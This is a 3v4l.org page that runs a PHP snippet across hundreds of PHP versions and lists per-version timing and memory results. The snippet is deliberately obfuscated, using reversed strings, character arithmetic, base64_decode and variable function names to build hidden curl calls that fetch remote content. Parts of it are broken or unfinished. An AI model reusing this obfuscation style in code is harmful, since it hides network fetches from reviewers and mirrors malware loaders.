3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vars = array( '28', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg_replace', 'preg_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23, 'array_push', 'curl_init' ); function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", preg_split( "/[\D]+/", preg_replace( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],CURLOPT_TIMEOUT , 32 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],CURLOPT_RETURNTRANSFER , 1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71]."curl_init")$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]("curl_init",$vars[63])$vars[53]($vars[78]()' ); $i = $q = 0; while ($i < 5) { ($i != 2) ? ($vars[$vars[0] - $q]($vars, "curl_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; var_dump(${$vars[16][3]}[0 + $i] . $x[5]); die(); preg_replace("/mix../mix", ${$vars[16][3]}[0 + $i] . $x[5], "/mixed"); $i++;; } echo ($zvars); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00418.43
8.3.50.0150.00521.95
8.3.40.0060.00918.88
8.3.30.0060.01219.04
8.3.20.0070.00020.20
8.3.10.0060.00323.40
8.3.00.0080.00019.11
8.2.180.0160.00318.49
8.2.170.0040.01122.96
8.2.160.0110.00322.18
8.2.150.0030.00524.18
8.2.140.0080.00024.66
8.2.130.0070.00026.16
8.2.120.0000.00720.96
8.2.110.0090.00019.38
8.2.100.0070.00417.91
8.2.90.0030.00617.75
8.2.80.0030.00518.91
8.2.70.0040.00417.93
8.2.60.0030.00618.22
8.2.50.0000.00818.10
8.2.40.0040.00419.47
8.2.30.0020.00519.39
8.2.20.0000.00717.88
8.2.10.0000.00818.18
8.2.00.0040.00417.83
8.1.280.0140.00325.92
8.1.270.0030.00518.95
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0100.00017.75
8.1.230.0040.00721.00
8.1.220.0050.00317.74
8.1.210.0030.00518.77
8.1.200.0050.00517.47
8.1.190.0080.00017.35
8.1.180.0000.00718.88
8.1.170.0030.00618.65
8.1.160.0040.00419.02
8.1.150.0000.00818.88
8.1.140.0000.00717.34
8.1.130.0070.00017.85
8.1.120.0030.00517.45
8.1.110.0030.00617.50
8.1.100.0030.00317.31
8.1.90.0030.00317.52
8.1.80.0030.00717.50
8.1.70.0070.00017.31
8.1.60.0040.00417.63
8.1.50.0040.00417.42
8.1.40.0040.00417.53
8.1.30.0000.01017.67
8.1.20.0000.00817.50
8.1.10.0000.00717.48
8.1.00.0040.00417.51
8.0.300.0080.00318.77
8.0.290.0060.00316.75
8.0.280.0030.00318.46
8.0.270.0000.00717.27
8.0.260.0040.00417.36
8.0.250.0000.00717.03
8.0.240.0040.00416.95
8.0.230.0000.00717.03
8.0.220.0000.00716.91
8.0.210.0020.00517.01
8.0.200.0000.00616.96
8.0.190.0070.00016.91
8.0.180.0040.00416.88
8.0.170.0040.00416.90
8.0.160.0030.00416.94
8.0.150.0040.00416.98
8.0.140.0000.00716.91
8.0.130.0030.00313.36
8.0.120.0000.00816.81
8.0.110.0020.00516.86
8.0.100.0040.00416.98
8.0.90.0030.00416.93
8.0.80.0110.00616.85
8.0.70.0070.00016.99
8.0.60.0040.00416.95
8.0.50.0000.00716.86
8.0.30.0100.01817.05
8.0.20.0130.00817.40
8.0.10.0040.00417.11
8.0.00.0070.01216.66
7.4.330.0050.00015.08
7.4.320.0000.00616.50
7.4.300.0030.00316.42
7.4.290.0000.00716.59
7.4.280.0080.00016.56
7.4.270.0070.00016.51
7.4.260.0000.00916.49
7.4.250.0000.00816.53
7.4.240.0000.00716.43
7.4.230.0000.00716.62
7.4.220.0130.00316.70
7.4.210.0110.00416.48
7.4.200.0050.00316.44
7.4.160.0090.00616.47
7.4.150.0140.01117.40
7.4.140.0130.00617.86
7.4.130.0070.01016.45
7.4.120.0120.00616.58
7.4.110.0090.00916.54
7.4.100.0200.00316.50
7.4.90.0130.00716.55
7.4.80.0120.00619.39
7.4.70.0060.00916.71
7.4.60.0090.00616.58
7.4.50.0030.00516.63
7.4.40.0080.00816.64
7.4.30.0090.01516.55
7.4.10.0070.01314.79
7.4.00.0090.00814.98
7.3.330.0030.00313.23
7.3.320.0000.00613.50
7.3.310.0070.00016.33
7.3.300.0030.00316.46
7.3.290.0070.00916.50
7.3.280.0110.00416.47
7.3.270.0130.00317.40
7.3.260.0130.00616.56
7.3.250.0110.00916.60
7.3.240.0170.00016.52
7.3.230.0150.00316.65
7.3.210.0070.01116.45
7.3.200.0060.01319.39
7.3.190.0070.01416.66
7.3.180.0090.01216.38
7.3.170.0060.01316.50
7.3.160.0100.00616.64
7.3.130.0070.01014.92
7.3.120.0130.00314.97
7.3.110.0080.01014.93
7.3.100.0080.00815.03
7.3.90.0050.00614.97
7.3.80.0050.00614.78
7.3.70.0070.00614.59
7.3.60.0080.00714.78
7.3.50.0020.01414.87
7.3.40.0060.00614.66
7.3.30.0040.00714.77
7.3.20.0060.00516.81
7.3.10.0080.00516.60
7.3.00.0100.00716.55
7.2.330.0040.01616.48
7.2.320.0130.00316.70
7.2.310.0110.01116.77
7.2.300.0070.01516.81
7.2.290.0200.00016.84
7.2.260.0100.00314.81
7.2.250.0070.01115.29
7.2.240.0040.01214.95
7.2.230.0060.00815.30
7.2.220.0070.00714.85
7.2.210.0000.01214.74
7.2.200.0050.00515.03
7.2.190.0060.00814.88
7.2.180.0050.01215.13
7.2.170.0070.01014.89
7.2.160.0030.00815.02
7.2.150.0030.00916.99
7.2.140.0090.00716.78
7.2.130.0090.00716.96
7.2.120.0060.00816.99
7.2.110.0070.00716.99
7.2.100.0020.01016.87
7.2.90.0030.01217.09
7.2.80.0060.00816.92
7.2.70.0040.00916.63
7.2.60.0090.00616.90
7.2.50.0080.00516.75
7.2.40.0050.00816.98
7.2.30.0070.01016.96
7.2.20.0070.00716.89
7.2.10.0090.00416.91
7.2.00.0140.00617.77
7.1.330.0030.01315.69
7.1.320.0070.00715.93
7.1.310.0060.00615.87
7.1.300.0080.00815.77
7.1.290.0050.01015.81
7.1.280.0030.01115.59
7.1.270.0090.00515.80
7.1.260.0060.00815.66
7.1.250.0070.00415.66
7.1.240.0020.01115.67
7.1.230.0050.00815.52
7.1.220.0030.01115.73
7.1.210.0050.00915.78
7.1.200.0060.00815.66
7.1.190.0030.00815.75
7.1.180.0040.00915.67
7.1.170.0120.00415.73
7.1.160.0040.00715.88
7.1.150.0030.01215.87
7.1.140.0050.00815.72
7.1.130.0050.01115.77
7.1.120.0030.01015.58
7.1.110.0060.00715.89
7.1.100.0060.00716.50
7.1.90.0080.00515.89
7.1.80.0050.00615.93
7.1.70.0030.01016.37
7.1.60.0040.00816.19
7.1.50.0060.00716.20
7.1.40.0080.00415.68
7.1.30.0020.01115.62
7.1.20.0030.01215.80
7.1.10.0060.00815.72
7.1.00.0050.02917.87
7.0.330.0060.00615.40
7.0.320.0020.01015.30
7.0.310.0030.00815.43
7.0.300.0100.00515.45
7.0.290.0080.00515.25
7.0.280.0120.00415.43
7.0.270.0030.01015.38
7.0.260.0030.01115.31
7.0.250.0080.00515.38
7.0.240.0080.00515.54
7.0.230.0060.00615.45
7.0.220.0060.00815.45
7.0.210.0010.00915.33
7.0.200.0050.00915.78
7.0.190.0010.01415.41
7.0.180.0070.00415.38
7.0.170.0050.00715.34
7.0.160.0060.00815.46
7.0.150.0030.00915.54
7.0.140.0040.02517.59
7.0.130.0030.00815.52
7.0.120.0040.00415.55
7.0.110.0030.01015.34
7.0.100.0030.01015.26
7.0.90.0030.01215.46
7.0.80.0050.01115.42
7.0.70.0110.00215.34
7.0.60.0070.01816.88
7.0.50.0070.02516.32
7.0.40.0040.02115.76
7.0.30.0100.01815.60
7.0.20.0100.02715.60
7.0.10.0040.03515.65
7.0.00.0060.01915.79
5.6.400.0050.01214.59
5.6.390.0040.00714.31
5.6.380.0070.00814.55
5.6.370.0050.00514.47
5.6.360.0110.00314.62
5.6.350.0010.01314.49
5.6.340.0110.00614.54
5.6.330.0070.00714.49
5.6.320.0050.00914.64
5.6.310.0060.00514.60
5.6.300.0050.00914.38
5.6.290.0050.00814.45
5.6.280.0040.02616.62
5.6.270.0060.00514.53
5.6.260.0080.00414.52
5.6.250.0020.01114.19
5.6.240.0040.00914.43
5.6.230.0050.00714.48
5.6.220.0050.00714.38
5.6.210.0070.03016.39
5.6.200.0040.02415.73
5.6.190.0100.01916.50
5.6.180.0120.01916.45
5.6.170.0140.02116.31
5.6.160.0080.02916.42
5.6.150.0040.02315.60
5.6.140.0050.02215.69
5.6.130.0070.03215.77
5.6.120.0060.02616.62
5.6.110.0080.02916.68
5.6.100.0060.03216.53
5.6.90.0060.02616.77
5.6.80.0060.02516.37
5.6.70.0070.00914.24
5.6.60.0000.01114.21
5.6.50.0040.00814.32
5.6.40.0050.00914.31
5.6.30.0040.01114.13
5.6.20.0110.00114.35
5.6.10.0090.00614.18
5.6.00.0070.00714.38
5.5.380.0070.00914.31
5.5.370.0050.00714.39
5.5.360.0020.00914.66
5.5.350.0140.02716.37
5.5.340.0050.01715.54
5.5.330.0040.02816.46
5.5.320.0160.01716.23
5.5.310.0170.03016.12
5.5.300.0080.01815.49
5.5.290.0100.02915.37
5.5.280.0040.02016.51
5.5.270.0060.02216.47
5.5.260.0070.02916.58
5.5.250.0050.03316.35
5.5.240.0040.02616.20
5.5.230.0120.00314.20
5.5.220.0020.00814.19
5.5.210.0080.00514.35
5.5.200.0050.01014.19
5.5.190.0050.00914.23
5.5.180.0050.00814.37
5.5.170.0020.01314.27
5.5.160.0080.00814.33
5.5.150.0070.00614.22
5.5.140.0100.00214.18
5.5.130.0050.00914.46
5.5.120.0080.00314.05
5.5.110.0070.00714.33
5.5.100.0080.00814.11
5.5.90.0060.00714.30
5.5.80.0060.00814.34
5.5.70.0020.00914.36
5.5.60.0060.00814.36
5.5.50.0020.00914.07
5.5.40.0070.00714.42
5.5.30.0070.00814.38
5.5.20.0080.00614.25
5.5.10.0030.01014.16
5.5.00.0090.00414.02
5.4.450.0230.03514.40
5.4.440.0260.02214.46
5.4.430.0230.02414.48
5.4.420.0240.02314.44
5.4.410.0260.02314.45
5.4.400.0240.02414.38
5.4.390.0250.02214.28
5.4.380.0110.02414.19
5.4.370.0130.02814.19
5.4.360.0160.01914.26
5.4.350.0120.02314.17
5.4.340.0140.02214.11
5.4.330.0040.00511.88
5.4.320.0150.02414.14
5.4.310.0220.01814.10
5.4.300.0200.01914.19
5.4.290.0140.02014.24
5.4.280.0140.02214.20
5.4.270.0190.02014.15
5.4.260.0220.01814.17
5.4.250.0120.02314.13
5.4.240.0150.02114.11
5.4.230.0170.02214.17
5.4.220.0120.02614.02
5.4.210.0160.02314.18
5.4.200.0130.02313.45
5.4.190.0190.02314.24
5.4.180.0200.02214.20
5.4.170.0210.02114.27
5.4.160.0150.02014.12
5.4.150.0160.02414.15
5.4.140.0100.02613.45
5.4.130.0160.02213.42
5.4.120.0130.01913.29
5.4.110.0140.02013.29
5.4.100.0130.02413.38
5.4.90.0130.02213.38
5.4.80.0150.02713.50
5.4.70.0130.02613.40
5.4.60.0100.02513.33
5.4.50.0160.02613.34
5.4.40.0140.02013.47
5.4.30.0230.01413.44
5.4.20.0210.01913.34
5.4.10.0150.02113.38
5.4.00.0120.02213.24
5.3.290.0270.05714.79
5.3.280.0330.05714.66
5.3.270.0330.06314.74
5.3.260.0430.06014.83
5.3.250.0570.06314.64
5.3.240.0370.06314.64
5.3.230.0200.05714.78
5.3.220.0300.07314.62
5.3.210.0330.05314.80
5.3.200.0370.05714.63
5.3.190.0330.05314.72
5.3.180.0370.04714.63
5.3.170.0330.06014.56
5.3.160.0300.06314.72
5.3.150.0330.05314.75
5.3.140.0300.05314.67
5.3.130.0370.05314.79
5.3.120.0370.08014.61
5.3.110.0330.05714.70
5.3.100.0330.04714.19
5.3.90.0230.05314.09
5.3.80.0270.05714.27
5.3.70.0170.06014.03
5.3.60.0300.05314.12
5.3.50.0270.05314.04
5.3.40.0430.06014.04
5.3.30.0470.07014.14
5.3.20.0400.07013.91
5.3.10.0400.06013.65
5.3.00.0170.06313.68
5.2.170.0170.04711.20
5.2.160.0230.04711.20
5.2.150.0270.04711.26
5.2.140.0230.04311.18
5.2.130.0230.04711.22
5.2.120.0400.02711.17
5.2.110.0200.04711.12
5.2.100.0400.03711.10
5.2.90.0270.05011.16
5.2.80.0430.03711.11
5.2.70.0200.05011.16
5.2.60.0300.03311.12
5.2.50.0230.04711.10
5.2.40.0170.04311.07
5.2.30.0200.04011.20
5.2.20.0230.03311.05
5.2.10.0200.03710.97
5.2.00.0200.05310.77
5.1.60.0230.03010.20
5.1.50.0200.03710.12
5.1.40.0130.04710.01
5.1.30.0130.04010.34
5.1.20.0170.04310.47
5.1.10.0300.03710.21
5.1.00.0130.05010.21
5.0.50.0100.0338.59
5.0.40.0230.0178.47
5.0.30.0100.0478.38
5.0.20.0170.0338.21
5.0.10.0100.0308.30
5.0.00.0200.0408.18
4.4.90.0070.0306.55
4.4.80.0030.0376.55
4.4.70.0130.0276.55
4.4.60.0130.0276.55
4.4.50.0070.0236.55
4.4.40.0100.0376.55
4.4.30.0100.0306.55
4.4.20.0130.0306.55
4.4.10.0070.0376.55
4.4.00.0170.0406.55
4.3.110.0170.0236.55
4.3.100.0070.0336.55
4.3.90.0070.0236.55
4.3.80.0030.0406.55
4.3.70.0070.0206.55
4.3.60.0030.0236.55
4.3.50.0170.0176.55
4.3.40.0130.0306.55
4.3.30.0070.0276.55
4.3.20.0030.0336.55
4.3.10.0030.0306.55
4.3.00.0000.0307.22

preferences:
45.85 ms | 401 KiB | 5 Q